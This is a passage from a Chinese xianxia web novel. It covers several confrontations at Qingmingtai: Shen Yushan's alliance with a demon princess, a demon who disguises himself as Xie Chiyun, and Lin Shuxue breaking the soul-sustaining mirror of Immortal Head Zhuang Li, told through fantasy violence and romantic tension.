他的能力出众、处事圆滑,从来到青冥台的那天起便得了庄仙首的青睐,至今都是距离庄仙首最近的人,就连庄丹雪也比不过。 这样的人,想要在众人的眼皮子底下,瞒下自己的行踪、杀死一个人不费吹灰之力。 封爻忽然振袖,灵力在半空中拉出几道歪歪扭扭、猩红色的线条,像是一座座起伏的山峦图案。 他冷声道:“难道你不不知道这是什么吗?” 猩红色的灵力光芒在渐渐暗下的半空中漂浮,映在沈玉山玉石般偏冷质的瞳仁中。 他淡淡看了一眼,不解道:“封堂主想说什么?” “你还装傻?”封爻衣袖下的手指攥得咔咔作响,眼眸死死盯着面前的青年,“天和并非一人去的玉水洞,他是与你同行的——而你却不愿让任何人知道这一点,为什么?” “……封堂主是在怀疑我杀了天和师弟吗?”沈玉山声音轻缓,“我为何要这么做呢?天和师弟于我而言没有任何利益冲突,杀了他于我有什么好处吗?” 远处祭祖的礼乐仍旧在响,却被乐修换成了极为悲悯宏大的调子,像是在祭奠缅怀所有逝去的生灵,乐声撞响身后禁地的玉石柱,共振出雄浑的轰鸣之声。 就在这一瞬,封爻终于忍无可忍地一把揪住了眼前青年的衣襟,咬着牙愤怒道:“——因为你修炼的邪术需要他的魂魄!” 狂躁的灵力在他的身周暴起,掀起的狂风几乎要将周围一圈的苍郁古树全部掀翻。 沈玉山微弱的反抗在这狂躁的灵力前没有任何作用。 如同刀锋般凌厉的灵力将他裸露在外的脸颊手背划出一道道细微的血痕,可这都抵不过沉沉压在他身上的灵力威压。 他闷哼一声,身体颤抖摇晃,而封爻却依旧不解恨似将他狠狠掼在地上。 “沈玉山、你怎么敢的?”男人的声音暴怒,裹挟着恨意,“你究竟从什么时候就有了谋取他人魂魄、弥补自身缺憾的狠毒想法?两年前、十年前、还是你来到青冥台的那刻?” 他反手指向身后禁地,眼睛几欲喷火:“长风门的封灵镜、禁地中的回灵珠、还有无相宫记载禁术的古籍……你身为青冥台掌门之徒,竟敢与魔族为了一己私欲做出此等肮脏不耻之事!你简直禽兽不如!” 沈玉山狼狈地被他用灵力掼在地上,咳出一口鲜血,眼珠却一眨不眨地注视着封爻身旁轻轻晃动的图案。 他的脸上像是感受不到任何痛楚,只是盯着那虚空的一点,忽地恍然大悟地开口:“原来天和师弟最后拼死也要发出的讯息,是这个啊。” 封爻:“——你竟然还敢提他!” “为何不能提?”沈玉山微笑着伸手,攥住了封爻的胳膊。他的手指冰凉,像是死人一般的温度。 鲜血在他的唇边溢出,越发衬得那双眼眸冰冷得如同玉石一般的死物。 “封堂主,天和师弟的确不是我杀的。”他说,“另外,这几十年修真界所有失踪的弟子,都不是我杀的——嗯,我只杀过一个鬼修,不过那也只是被逼无奈罢了,谁让她那么不知死活、试图触及她不该知道的事情呢?” 他说这些话时,脸上依旧挂着浅淡的微笑,不像是在说杀人,而只是如同寻常一般布置着什么任务。 封爻看着他的眼睛,忽然发觉他好像当真是这样认为的。 在沈玉山眼中,他的徒弟、那些人根本不算人。 那些“人”只是为了让他能成为一个魂魄完整、天资出众之“人”的耗材。 封爻觉得他已经走火入魔、无药可救了。 他曾经从未怀疑过沈玉山。 毕竟,这可是青冥台掌门、庄仙首的亲传徒弟,正如他所说,他有什么必要去杀宋天和呢? 可叶怀昭说那个女人在调查失踪弟子之事,她认为凶手就在青冥台。 在第无数次对着月光观察宋天和留给他的唯一线索时,封爻坐在打开的窗子旁,忽地心神一动。 他轻轻抬手,让那几道以血构成的图案向上飘散。 弯月湿漉漉地悬挂于夜空之上,而下方,连绵起伏的山峦与鲜血勾勒的线条重叠。 ——宋天和曾无数次坐在他窗边伏案疾书。 在他因撕裂魂魄的疼痛而惨叫颤抖、意识即将消散于世间时,最先想到的也是透过窗外,看到的明月山峦。 他想对自己的师尊说小心沈玉山,可到最后,也只能用自己的血染红了山,在愧疚与悔恨中死去。 与仙首的大徒弟相比,他的徒弟当然不值一提。 可这是他唯一的徒弟、是他在父母亲人死后,唯一的寄托。 封爻不相信庄黎会不知道沈玉山在青冥台中做了什么。 他不会将沈玉山交给青冥台审判。 即便被所有人误解、即便被所有人怨恨,他也要亲手杀了沈玉山。 他绝不会让他的徒弟白白死去。 远处的祭乐之声渐渐变弱,可封爻知道距离祭祖结束还有很长时间,他还有时间杀了沈玉山之后逃出青冥台。 身后的禁地禁制依旧数十年如一日地维持着运转,据说每一任青冥台掌门都会派专人前来加固,时至今日,禁制早已与最初的效果大相径庭。 抵在沈玉山脖颈的灵力逐渐染上了杀意,封爻紧紧抿着唇,抬手就要一剑将他的脖颈斩落。 “——噗嗤。” 长剑穿透血肉,鲜血顿时喷射而出。 枝叶摇晃的影子落到地上,滴滴鲜血坠落。 “封堂主,你难道不好奇我为何要离开祭台、在此时回内门取东西吗?” 狂风卷起的黑夜,满身染血的青年似笑非笑地盯着逐渐面露不可置信的男人。 他轻声说:“——我在等您来。” 他手指微抬,前一刻还将他完全压制在地上的男人顿时被强大的灵力掀翻,脊背狠狠撞在身后的玉石柱上,发出“嘭”的一声巨响。 封爻捂着自己被剑刃贯穿的胸膛,若非最后一刹的躲避,那剑刃将穿心而过。 可此时他与死亡也无线逼近。 因为缠绕在长剑之上的并非是他能剥离自愈的灵力。 而是魔气。 沈玉山将溅落的鲜血抹去,侧首向从禁地中缓缓走出的女人微笑:“六殿下,您来晚了。” 一身金纹玄袍的女人翻了个白眼,艳丽的五官样貌即便在黑夜中也格外瞩目。 她甩手将长剑上的鲜血甩去,轻抬下巴,倨傲地说:“是你开禁地开得太晚了。怎么,你对这个男人很感兴趣?” 沈玉山正要说什么,奄奄一息靠在玉石柱上的男人忽地消失了。 山槐向旁看了眼,有点 幸灾乐祸:“哦,人跑了。” “他跑不了,”沈玉山微微抬眼,向不远处的仙首楼阁望去,唇角翘起意味深长的弧度,“六殿下,您觉得他会向谁求救?” 山槐:“我怎么知道,我又不认识他。” 她冷哼一声,猩红色的眼瞳看向沈玉山:“比起他,你是不是该兑现承诺了,沈仙君。” 她冷声问:“谢迟云在哪?” 魔界六殿下曾经和青冥台的大师兄做过一个交易。 她为对方搜集修补魂魄所需的秘宝、为他抓修士试验禁术。 与之相对的,沈玉山需要帮她谋得魔界魔君之位。 他们合作杀的第一个人,便是她的双生哥哥。 世人皆知魔界五殿下因屠杀了整整一个仙门后被仙首斩杀,却无人知道让他神智混乱的药是他的亲妹妹所下。 更无人知道,庄仙首之所以会在那晚去仙门做客,是因为他的徒弟沈玉山在附近受了伤。 在魔界,山槐无法直接对她那些同父异母的兄弟姐妹们动手,因为他们各有各自母族的势力。 但换到修真界就不一样了。 只要让他们来到修真界,青冥台便是由她所掌握、刺向没有任何保护的魔界少主的刀。 而如今,值得她关注的魔只剩下两位——确切来说,是一个半。 山槐对他们修真界的事情不感兴趣,她只关心沈玉山与她的约定有没有实现。 沈玉山慢条斯理地擦拭着自己脸上溅落的鲜血:“在我离开后,庭院就会落下禁制,任何人都不得出入。乘玉君和叶仙君此时应当还被关在——” 他的声音忽然一顿。 山槐等了一会儿没听到他的下半句话,不耐烦催促说:“关在哪?” 沈玉山脸上的表情有些微妙的变化。说不上是难看,可也不算欣喜,只有诧异稍稍占据上位。 沉默半晌后,他缓缓说:“——在我师尊的楼阁中。” 青冥台云水三千正殿祭台前。 半阖着眼眸,无悲无喜的白发老人睁开眼睛。 在众人惊诧的目光下,他忽然站起身,瞬影消失在原地。 第83章 第八十三章“师妹,怎么丢下我离开了…… 桑春意识恢复的瞬间,还没来得及睁开眼睛,首先就被几乎要将浑身骨头碾碎的疼痛逼得闷哼一声。 她的大脑昏沉得像是睡了好几百年才苏醒,除了感知最强烈的疼痛外,其他什么都感觉不到。 眼前一阵一阵的发黑,趴在地上好一会儿,脑中的嗡鸣声才渐渐停歇。 “——” “桑——” “桑春——” 在一声接一声持续不断的呼唤声中,桑春猛地睁开眼睛。 她看到了一张与她贴得很近的面庞。 是神色有点焦急的叶怀昭。 在看到她的一瞬间,桑春早已停止运转的大脑忽然被塞进了无数记忆。 叶怀昭在和谢迟云纠纠缠缠,她不想每天待在客栈当第三者,也想给自己找点事干,于是开始和林漱雪调查弟子失踪之事。 桑春对那些失踪的弟子没有什么其他想法,帮忙调查只是因为她对林漱雪感兴趣。 毕竟,一个在修真界中已经“身败名裂”的修士,为何要吃力不讨好地来调查这种几十年的悬案呢? 她直觉这其中有些猫腻。 随着和林漱雪的调查深入,桑春慢慢觉得不太对。 ——怎么越调查、越与青冥台接近呢? 她对林漱雪说:“林前辈,既然牵扯到青冥台,那就不是以我们两人可以应付的事情了。” 考虑到林漱雪的尴尬身份,桑春甚至还主动道:“我可以给我师尊传信,他是长风门戒律堂的堂主,定会将此事汇报给叶掌门。” 在桑春看来,降妖除魔、匡扶正义固然重要,可更重要的还是她的性命。 她觉得此事牵扯到了青冥台,那让叶掌门出面才更加稳妥。 但林漱雪并不这么认为。 她说:“桑师妹,你知道庄仙首时日无多了吗?” 桑春怔愣一瞬,而后她的表情变了。 林漱雪:“这是他最后的机会,他没有时间了,我也没有时间了。我们都等不到叶掌门来的那刻。” 桑春听出了她的不容置疑,劝说的话咽回肚子。 林漱雪并不想将她这个无辜之人牵扯进来,在去青冥台的前一夜,她亲自将桑春送回了客栈。 临走前,她半开玩笑说:“如果我此去没有了音讯,记得帮我回长风门通风报信……就说,长风门掌门的前任大徒弟要去杀修真界仙首,传得越离谱越好。” 桑春一时不知道该说她心大还是不在意名声,不过在修真界众人看来,林漱雪好像早就没有什么名声可言了。 她抿了抿唇,低声说:“昭昭和乘玉君都不在……等他们回来,我会告诉他们此事的。” 林漱雪似乎笑了一声,然后挥挥手,身影消失于东阳城漆黑的夜晚。 她走了……然后呢? 桑春被叶怀昭扶起来,靠在身后墙上,嘴里被她塞了数颗恢复伤势的丹药,揉着太阳穴沉思。 “然后……我好像就被人袭击了。”她喃喃着,努力回忆当时的场景,“天太黑了,而那人的修为也远在我之上……我没看清那人是谁。” 叶怀昭帮她渡着灵力,发觉她体内的灵力很是混乱,而且…… 她观察着,忽然冷不丁说:“袭击你的那个人,是沈玉山。” 就这道灵力,就算混进一百道灵力里叶怀昭都能辨认出来。 问就是刚刚对着它研究了半天怎么破开禁制。 桑春自然不知道她在想些什么,还有些诧异问道:“嗯?你怎么知道?不过我记得沈玉山的修为水平似乎比我差一点,他怎么将我打晕带来这里的?” 说到这,桑春才后知后觉地放下手,抬头打量着周围环境。 这里似乎是一个类似于牢狱的地方。 漆黑的屋中,禁锢灵力的符文散发着猩红色的微弱光芒。 无数道锁链自周围延伸着,在正中央交汇成蜘蛛网一般的压抑图案,幽蓝色的灵力链条垂下,有两段链条落到她的身体两侧。 看着看着,桑春的手腕忽然感到有些疼痛,大约这两段链条一开始就是在禁锢着她的手腕,后来被叶怀昭斩断了。 “发生什么了,你怎么也在这里?”桑春忽然意识到一个问题,“谢迟云怎么没和你在一块?” 虽然还不太清楚这是什么地方,但桑春知道这里绝对不安全。 谢迟云会让叶怀昭一个人来这里? 听到这话,帮她渡着灵力的叶怀昭恶狠狠地磨着牙说:“我是不小心来到这里的。” “至于谢迟云,”叶怀昭郁闷说,“我也不知道他现在在哪。” 气死她了! 叶怀昭在心中愤怒地想,等她抓到沈玉山,一定先将他吊起来抽上一天再说其他的事! 时间回到不久前。 在沈玉山与封爻离开后,叶怀昭和谢迟云同时意识到一个问题: 沈玉山早已发现了他们的踪迹。 叶怀昭率先从树上跳下,在院中转了一圈,回头说:“我们出不去了,师兄。” 谢迟云也在观察着方才沈玉山走进去又出来的寝屋。 在叶怀昭凑过来时,他说:“沈玉山似乎是故意回来一趟、让封爻与他‘偶遇’。” 他们并不知道沈玉山为何要这样做,也不知道他们离开这里后谈了什么。 但这暂且都是第二重要的事情。 现在最重要的是,他们要怎么出去。 禁制阻隔了灵盘与阵法的共鸣,也阻隔了叶怀昭和苏白等人的联络。 没有办法,叶怀昭只好将自己会的术法全部尝试了一遍,但眼前的禁制依旧纹丝不动,甚至还挑衅般地更亮了几分。 叶怀昭:“……” 她气得想要一脚踹上去,被谢迟云拉住:“我还有一个办法,师妹。” 叶怀昭被他拉着,转头说:“什么?” 谢迟云弯腰捡起脚边的一颗石子,然后手指轻弹。石子在半空中 划过一条流畅的弧度,在两人的注视下轻松越过禁制。 他提醒道:“这道禁制约束的只是拥有灵力或魔气的生灵,并不约束死物。” 叶怀昭听懂了他的意思。 她捏着自己的下巴,想了想说:“我倒是有丹药可以让人短暂假死……但是如果我们两个都‘假死’了,谁又带我们出去呢?” 她的话音刚落,一只身躯庞大的蟒蛇便出现在了谢迟云身旁。 它嘶嘶吐着信子,猩红色的眼眸似乎在打量着她。 叶怀昭微微睁大眼睛。 她小心翼翼地摸了摸巨蛇的头——鳞片冰凉而没有一丝气息起伏。 谢迟云:“它可以带我们出去。” 叶怀昭看出来这应该是机关造物,但是—— “为什么是蛇?”她嘀咕说,“一般不都是机关鸟吗?” 谢迟云看着她:“师妹不喜欢蛇吗?” 叶怀昭果断说:“不喜欢。” “……” 谢迟云稍稍抿唇。 他没有说话,但叶怀昭却莫名感觉他好像有点情绪低落。 她感到有些莫名其妙,但是想了想,某些时候谢迟云的体温和习惯似乎和蛇类有点像,难不成是自我带入、以为她不喜欢? 叶怀昭顿了一下,勉勉强强说:“嗯……就是,反正,反正师兄你不是蛇,我没有在讨厌你,我只是讨厌‘蛇’而已。” 不知为何,谢迟云似乎更加不太高兴了。 他张张口,似乎想要说些什么。 但是看看她后,又忽然闭上了嘴,摇摇头换了个话题说:“先出去吧,师妹。” “噢。” 叶怀昭正准备将自己双银环中的假死药拿出来,眼前忽地腾起漆黑的烟雾。 她反应极快地想要弹指击破,谢迟云的长剑也瞬间出鞘。 可那烟雾似是先一步觉察到了他们两人的想法,灵活绕过灵力后,毫无滞涩地将她吞没。 “师妹!” 在意识消散的前一瞬,她听到谢迟云似乎在和什么人交手。 “等我再睁开眼睛,就来到这里了。”叶怀昭摊开手,指了指桑春身旁的灵力链条,“然后看到你被锁在这里。” 桑春为这巨大的信息量消化了片刻。 “你是说,沈玉山故意离开祭台、故意将封爻带走、故意将你和谢师兄留在院中?”她缓缓说,“他在下一盘很大的棋,但是,这盘棋是为了什么而下的?” 叶怀昭从她的身旁站起身,环视周围,试图寻找出去的方法。 “或许弟子失踪事件除了有庄仙首的手笔外,还有沈玉山的参与吧,”她说,“不过我更好奇的是将我传送到这里的烟雾是怎么回事。” 如果当时她没有感知错误,那烟雾中似乎有魔气。 也就是说,有一个魔族潜入了青冥台,破开了沈玉山的禁制,并且将她传送到了可能知道真相的地方。 除了谢迟云这个半魔外,她还认识哪个魔族会做这种事? 叶怀昭在心中想着。 桑春的身上除了一道贯穿胸膛的伤口外,其实没有什么细碎伤口。叶怀昭的医术精湛,只短短几息间就让桑春恢复了生机活力。 她转了几圈,忽然停在一处溅落鲜血的墙壁前,不知她摸索了什么,两人头顶漂浮悬挂的锁链忽然开始剧烈震颤起来。 不到几瞬,横梁高柱一节一节轰轰隆隆地倒塌,甚至整个屋子也有崩塌的迹象, 叶怀昭立刻瞬影移至桑春的身旁撑起屏障,同时精准地抽出灵力攻向眼前的薄弱之处! 赤色的灵力旋转着撞向高墙,碎屑灰尘飞起的瞬间,叶怀昭带着桑春逃出关押她的牢狱。 但她的眼睛还没来得及适应突如其来的光亮,抓着桑春的右手忽地一空。 另一只冰冷的手捂住了她的眼睛。 熟悉的嗓音在她的耳边轻笑着响起: “师妹,怎么丢下我离开了?” 第84章 第八十四章“对不起,师妹。”…… 叶怀昭被那人捂住了眼睛,漆黑的视野中,只有一点微弱的光亮透过指缝映入眼中。 她愣了一瞬,试探着说:“师兄?” 她伸手抓住那人的手腕拉下来,转了个圈看向身后的男人。 谢迟云依旧穿着他们分别时的那套衣袍,只是衣袖下摆处落着点点不知是谁的鲜血,除此之外瞧上去没什么异样。 “是我。”谢迟云应了一声,“师妹。” 幽蓝色的链条自头顶垂落,有几条落到了他的肩头,被男人轻轻拂过。 叶怀昭主动踮起脚,帮他将脸上的细小划痕用灵力抹去,问道:“师兄,你怎么在这里?小春去哪了?” “在师妹消失后,我也因为不知道踩中什么,被传送到了这里。”谢迟云的身体在她凑近时有些许僵硬,但很快便恢复了往常的状态,缓缓说,“至于桑师妹……方才师妹跌进这里时,我没有看见她。” 叶怀昭感觉有点头疼。 刚刚费劲千辛万苦地找到了桑春,转头又把人弄丢了。 她揉了揉自己的太阳穴,听到谢迟云说:“我们如今应当是在庄仙首的楼阁中——可能是在地下几层。” 叶怀昭呆了一瞬。 反应过来后,她指了指在两人身旁张牙舞爪一般随风碰撞的锁链,语气微妙:“……他在自己家里搞了一个牢狱?” 你们青冥台仙首和徒弟都挺不走寻常路的。 叶怀昭在心中嘀咕,一个将牢狱开到家中地下,一个将家里搞得像死人住的一样。 “或许不止如此。” 谢迟云示意她去看墙壁上的符文阵法。 “如果我没有看错,这应当是一个大型禁阵的一部分,”他的指尖轻触墙壁,猩红色的符文瞬间像是活了一般向他的指尖蔓延,“似乎是作用魂魄的。” 叶怀昭:“你怎么就这么接触了!” 谢迟云顿在原地,有点诧异地看着一个箭步冲上来的少女。 她的眼中有些焦急,上上下下观察了他好久,发觉那道符文脱离墙壁后很快就没了生机才呼出一口气,抬头狠狠瞪了他一眼:“能不能关心一点你自己的身体。” 谢迟云眨了下眼睛。 他的手还停在半空,像是没有反应过来一般,隔了一会才想要试探地去碰面前少女毛茸茸的发顶。 不过叶怀昭似乎被其他事情吸引了注意力,身体微微一动,正好与他的手指错开。 谢迟云垂下手指,指尖似乎还停留着那一瞬间轻轻擦过柔软的触感。 叶怀昭观察着禁阵,想了想说:“这是不是那种通过某种方式,修补自己魂魄的禁阵?” 无论是沈玉山还是庄黎,这两人共同的问题都是魂魄残缺。 但谢迟云却在顿了一瞬后,说:“不是。” 他走到叶怀昭的身边,伸手将她圈在自己的怀中,轻声说:“这是分割魂魄的阵法。” 叶怀昭的眉角狠狠抽动一下。 这般反应有一半是为了这句话,另一半则是—— 叶怀昭猛地向后仰过身体,躲开面前男人湿热的呼吸。 “停——” 她眼皮直跳,冷不防说:“我没有揭穿你,你也不要得寸进尺。” 锁链摇晃碰撞,发出零零碎碎的清脆声响。 猩红色符文光芒映照之下,被她抵着脖颈威胁的男人似乎眯了下眼睛,熟悉的红光微微闪过。 不知过了多久,男人轻轻弯了下唇,轻声说:“小师妹,此话何意?” “还装?”叶怀昭说,“你不是我师兄,他在哪?” 谢迟云:“……” 不知过了多久,他忽地感叹了一声:“真是敏锐啊。” 叶怀昭一开始只以为自己又一次进了幻境。 可越试探,她越是觉得自己没有进入幻境,而且她觉得面前此人伪装“谢迟云”其实也没有那么认真,像是在故意露出马脚等着她发现一样。 他的行为中既有试探,又有一点好奇和兴奋,像是试图通过她窥见一些另外的事情。 伪装谢迟云的男人将那双彻底变成猩红色的眼眸垂下,弯着唇角望着满脸警惕抗拒的少女。 “小师妹不妨猜一猜呢?”面容俊逸的男人贴近她,低头在耳边慢慢说,“是还在内门、还是在这里……” 他长着谢迟云那张俊逸脱俗的脸,气质却在撕破面具后瞬间变得不同,叶怀昭几乎都能嗅到他身上浅淡而勾人心魂的花香,混杂着像是深夜飘飘散散而来的暧昧酒气。 叶怀昭耳边是他湿热的吐息,他们挨近到近乎于在拥抱。 “谢迟云”右手撑在她的腰侧墙壁上,指尖已经要暧昧地触碰到衣角。 但他 却道:“……还是,已经被我杀了呢?” 叶怀昭忍无可忍。 她抬手横在男人脖颈间,阻挡住他垂下的头颅,指尖锋芒闪烁,一点猩红的颜色出现在他的脖颈。 “如果你敢杀掉他,”她直视这双熟悉的眼眸,“我便会杀掉你。” 在叶怀昭话音落下的瞬间,他们的头顶就响起了巨大的爆炸动静,几乎整座楼阁都摇晃了一瞬。 面前,“谢迟云”却慢慢笑了起来。 他说:“你对着我这张脸,真的舍得下手吗?昭昭。” 叶怀昭用动作回答了他。 她的长剑横斩,却被人轻巧地躲过,熟悉的魔气在半路腾起挡住了她紧随其后的攻击,男人陌生而熟悉的声音自魔气之后传来。 “诶呀,真是无情呢小师妹,”他说,“你是真心喜欢乘玉君的吗?” 叶怀昭挥手斩碎他的魔气,看着与她遥遥相对的魔族冷笑一声。 她盯着衣着华贵的魔族,故意说:“——我和你哥哥如何,与你有何干?” 桑流——或者说,青崖——脸上漫不经心的笑意一瞬间消失了。 叶怀昭慢条斯理说:“大人的事情小孩少管,没听说过吗?” 青崖:“……” 他拧眉说:“谁告诉你这些事的,他吗?” 叶怀昭:“我有眼睛也有脑子,我可以自己猜。” 或者说谢迟云也没有什么隐瞒的意思。 虽然当时没有意识到,但后来,叶怀昭还是发觉谢迟云记忆中那个常常跟在他身旁的小孩似乎和听云楼的掌柜桑流长得很像。 再后来,就是谢迟云告诉她要小心那些乌鸦。 她才将听云楼的掌柜桑流与魔界的十三殿下青崖联系在一起。 如果方才那小子没有试图动手动脚,叶怀昭其实不介意再听他多说几句的。 毕竟这勉强算是谢迟云同父异母的弟弟,而且似乎也是他将自己从沈玉山的禁制中传送出来。最重要的是,他貌似对庄黎、对这里很了解。 叶怀昭:“我最后再问你一遍,我师兄现在在哪?” 或许她不知道是,在青崖看来,此时叶怀昭的神色与他记忆中的谢迟云无比相似。 她的眼眸如同黑玉,冰冷冷望过来时像是锋利的刀片,要将他所有的伪装尽数剥离、露出赤裸裸本质一般的极有压迫。 ……更加讨厌了。 被叫破身份后,男人的脸上就没了什么笑意,听到叶怀昭的这句话也提不起任何精神,只敷衍说:“在这里,没死。” 叶怀昭又追问:“你来这里做什么?为什么你知道庄黎的那么多事情?” 她直觉这些事情就连谢迟云都不知道。 如果他知道,他绝不会允许青崖将她一个人带到这里。 “庄仙君,你不觉得自己问的这些事情越界了吗?”他故意在“越界”两个字上加重语气,笑意不达眼底,“我能知道这些,自然是他愿意让我知道。” “比起这些——” 青崖忽然扬高声音,截住了叶怀昭的话头。 他猩红色的眼眸笑得弯起:“你更应该好奇的,难道不该是你的师兄还瞒了你什么吗?” 叶怀昭皱眉:“你说什么?” “我说,他还瞒了你很重要的事情,”青崖轻轻挑眉,语气玩味说,“难不成你真的以为,你的师兄会永远是你的师兄吗?” “难道你真的以为,他会一辈子留在修真界吗?” 说完这句话,他忽然若有所觉地向脚下望去。 “嗯?这么快就出来了?”他有些遗憾地叹了口气。 在脚下地面即将破裂的一瞬间,魔族的声音飘飘忽忽地传入叶怀昭的耳朵。 “他是我的哥哥、同样也是魔君的孩子、是魔界的少主……你以为,这些年中他在魔界没有为了魔君之位布局吗?” 他的身影即将、消失在原地的那刻,一道饱含杀意的剑意凭空出现击向了他。 青崖的动作很快,但架不住那人的剑意更快,他措不及防下只来得及避开要命处,但还是在临走前被击中,鲜血四溅在周围。 单手持剑的青年站在了叶怀昭的身前,她看不到谢迟云的神色,却听到他用平静到近乎冷酷无情的声音说: “滚。” 叶怀昭一怔。 锁链于半空中摇晃,青崖因为疼痛而微微扭曲的面庞消失在原地。 在叮叮当当的脆响中,叶怀昭颇有些诧异地挑了下眉。 想不到师兄还会说这种话。 她在心中想着,与转过身的谢迟云对视。 青崖伪装出来的谢迟云和他此时的样子很像,但不同的是眼前师兄身上的细碎伤口似乎更多一些。 叶怀昭用灵力为他抚平伤口,这一次没有人躲避。 她一心二用,将方才发生的事情简单说了一遍,然后斟酌着话语说:“我觉得,青崖可能与庄仙首有什么合作。比如这墙壁上分割魂魄的禁阵或许就是他提供的……至于我们一开始调查的吸引魂魄的阵法,或许是沈玉山的手笔。” 谢迟云没有说话。 叶怀昭抬头看了他一眼,以为他在介意青崖最后说的那几句话,解释道:“师兄,我知道他在挑拨离间。他——” 谢迟云忽然伸手,将她抱住了。 她的声音因为谢迟云的动作戛然而止。 她陷入了一个紧密贴合、檀木清香萦绕鼻腔的熟悉怀抱。 叶怀昭愣了片刻,才后知后觉地伸手环住谢迟云的脊背。 她正欲开口,却听到了谢迟云极轻微的话语。 他说:“对不起,师妹。” 第85章 第八十五章荡平天下不平事 愿望之所以叫做愿望,是因为它很难实现。 就如同叶怀昭明知谢迟云不会永远留在修真界、留在她身边,却还要固执地一遍一遍重复一样。 即便没有青崖的挑拨,叶怀昭也知道,谢迟云终有一日会为了某件事情回到魔界。 从见到铸造而成的坎水剑时就知道。 在玉水洞的虚影中,他便是握着这样一把剑站在高台上,身着代表魔君的玄衣金袍,垂眼注视着她。 她也在看着他,一点一点与未来的谢迟云相重叠。 收到剑的那一夜,叶怀昭做了梦。 梦中除了那些雪夜的旖旎纠缠外,其实还有一段对话。 一段让她醒来后怔怔坐了许久的对话。 屋外,白雪无声地覆盖整座庭院。 屋外,熏香在香炉中早已燃尽,暖融融的光晕在窗边。 梦中的谢迟云抓着她的手,没有控制好力气,将她的手腕抓出一圈深深的痕迹。 他的动作强硬而不容反抗,可撑在她身上,垂眼望着她的目光却一直都夹杂着说不清道不明的复杂情绪。 叶怀昭不想看到这样的眼神,于是去咬他的胳膊,问他:“你在犹豫什么?” 这是叶怀昭的梦,梦中的谢迟云自然是她幻想出来的谢迟云。 可即便是幻想出来的他,叶怀昭也并不是总知道他到底在想什么。 被咬了一下的谢迟云垂首去吻她的锁骨,留下浅浅的痕迹,低声说:“如果我无法永远留在你身边,无法一直是你的师兄……你还愿意爱我吗?” 这是梦中谢迟云对她的询问。 可也是叶怀昭对自己的反问。 他终有一日会离开你、终有一日会死亡、终有一日不再留在你的身边…… ——到那时,你还会爱他吗?- 封爻怎么也想不到自己再见林漱雪会是如今这个情景。 累累白骨之上,残肢断臂几乎堆叠如山,玉石雕砌的墙上溅满乌黑干涸的鲜血。 无数冤魂在空中发出凄厉的声响,却被幽蓝色的灵力锁链贯穿魂体,只能像是被圈养的牲畜一般吊在半空。 鬼风阵阵,冲天的漆黑怨气被符文流转的阵法锁在高塔,头顶悬挂的巨大镜子映出这 人间炼狱一般的图景。 因为大量失血,封爻的眼前一阵阵的发黑,却强撑着不让自己倒下,努力维持着脸上的冰冷。 “你为什么会在这里?” 林漱雪没忍住笑了一声。 但她伤得比封爻还重,几乎像是个血人似的依靠在墙边,一笑便忍不住断断续续地呛咳,鲜血自她的唇边溢出。 隔了许久,她才缓过气来,瞧着他,声音嘶哑说:“我还要问你呢,封堂主。” 她的目光在对方身上轻飘飘扫了一圈,开口时的声音带着笑意:“封堂主这是遇见哪个魔了?山槐、还是青崖?” 在不堪与愤怒升起之前,封爻第一时间意识到,她知道青冥台会有魔族潜入。 他强压下同她争吵的念头,问道:“这是哪?” 林漱雪这次有了些真心实意的诧异:“你不知道这是哪?” 封爻当然不知道这是何处。 去杀沈玉山之前他准备了一些后手,一旦成功将他杀掉,他就会激活隐藏起来的符文阵法,让他逃出青冥台。 但方才他激活了阵法,却没有按照计划逃出青冥台,而是来了这个鬼地方。 要不是看林漱雪和他一样、甚至比他还狼狈的样子,他几乎以为这是林漱雪为了杀他动的手脚。 林漱雪的表情微微变化。 她似乎想要说些什么,却被一道凭空出现的的剑芒打断。 林漱雪条件反射地侧身躲避,可她甚至只来得及动了一下身体,就硬生生被一只从空气中伸出的手狠厉地掐住脖子甩在了墙上。 “唔——!” 这一下直接让她本就不堪重负的骨头又断了几截,张嘴喷出一口鲜血。 封爻瞳孔紧缩。 他惊骇地看到那只掐住林漱雪的手掌缓慢地使力,对方的喉骨不断爆出清脆的咔哒声。 幽蓝色的灵力光芒拉成一条线,又缓缓地向旁扩大,最终变成一个撕破空间形成的圆洞。 身穿金纹华服的白发老人一步一步走出。 整个高塔的冤魂在一瞬间发出凄厉的惨叫声,它们挣扎着,似乎想要不顾一切地冲下来,却残忍地被幽蓝色的灵力链条锁在墙壁上。 他走出来的那刻,整座楼阁宛如重新活过来一般,重重夜明灯自下而上一层层被点亮,所有的符文阵法同时运转,发出轰鸣共振之声。 庄黎看着面前的女人,声音冷淡。 “凌霄仙君,别来无恙。” 林漱雪艰难地抬起头,在窒息的痛苦中依旧牵扯出一个血腥而冰冷的笑。 “庄仙首……”她断断续续地笑,与他对视,目光几乎要剥开血肉躯体,直窥魂魄,“多年不见……您果然还是一副……” “行将就木的样子。” 庄黎眯了眯眼睛。 他盯着狼狈不堪的女子看了几眼,忽地毫无征兆地甩手将她扔出去。 林漱雪在地上翻滚着撞到身后白骨堆砌的小山,发出噼里啪啦的巨大声响。 无数白骨倒塌,尖锐的棱角在她身上划出一道又一道鲜血淋漓的痕迹。 封爻看着她,下意识地想要动用灵力将她护住,却又在最后一刻顿住脚步。 就是这一瞬间的迟疑,楼阁中的符文阵法发出刺目的光亮,最上方的封灵镜发出一声清脆的咔嚓声响。 他看到,庄黎的表情忽地变了。 他甚至都没有去理会从白骨堆中爬出来的林漱雪,直接御风去检查破碎的明镜,在发觉无法修复的那刻,暴怒的灵力几乎在一瞬间席卷整座楼阁。 “你做了什么?!”他怒吼着。 林漱雪被压得站都站不起身,脸上却是痛快畅意的笑。 “庄仙首——”她的声音飘飘荡荡,“数十年心血毁于一旦的感觉,好受吗?” 幽蓝色的灵力链条贯穿她的肩膀,硬生生将她吊了起来。 林漱雪已经身体麻木,却还是在这一瞬间的疼痛中没忍住从喉咙闷出一声痛哼。 她咬着自己的下唇,一点一点抬起眼睛。 “庄仙首,您可别忘了,这封灵镜可是长风门的秘宝。”她似笑非笑,“您以为,只有您自己知道这封灵镜应如何认主吗?” “失去这些为你维持寿命的‘优秀耗材’……”林漱雪讥讽地说,“您又能活几天呢?” 庄黎从半空中飘下,漆黑的眼中燃烧着冰冷的怒火。 “在南境时,我曾给过你一次机会、没有将你杀掉,”他的长剑出鞘,剑尖在地上划出深刻的痕迹,“没想到,你竟还敢来我这里找死。” “给过我一次机会?”林漱雪的五官因为疼痛而扭曲,眼眸却前所未有的明亮,“你口中的机会,就是给我一次成为你魂魄傀儡的机会吗?” 